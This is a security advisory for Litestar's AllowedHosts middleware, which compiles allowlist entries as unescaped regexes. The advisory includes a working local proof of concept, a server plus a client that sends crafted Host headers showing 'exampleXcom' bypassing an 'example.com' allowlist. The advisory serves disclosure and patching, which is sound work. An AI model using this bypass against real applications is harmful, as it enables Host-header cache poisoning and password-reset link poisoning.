GHSA-93ph-p7v4-hwh4

Suggest an improvement
Source
https://github.com/advisories/GHSA-93ph-p7v4-hwh4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-93ph-p7v4-hwh4/GHSA-93ph-p7v4-hwh4.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-93ph-p7v4-hwh4
Aliases
Published
2026-02-09T17:19:00Z
Modified
2026-02-22T23:23:18.688831Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns
Details

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (pocallowedhosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (pocallowedhosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

Database specific
{
    "github_reviewed_at": "2026-02-09T17:19:00Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-185"
    ],
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
}
References

Affected packages

PyPI / litestar

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.19.0
Fixed
2.20.0

Affected versions

2.*
2.19.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-93ph-p7v4-hwh4/GHSA-93ph-p7v4-hwh4.json"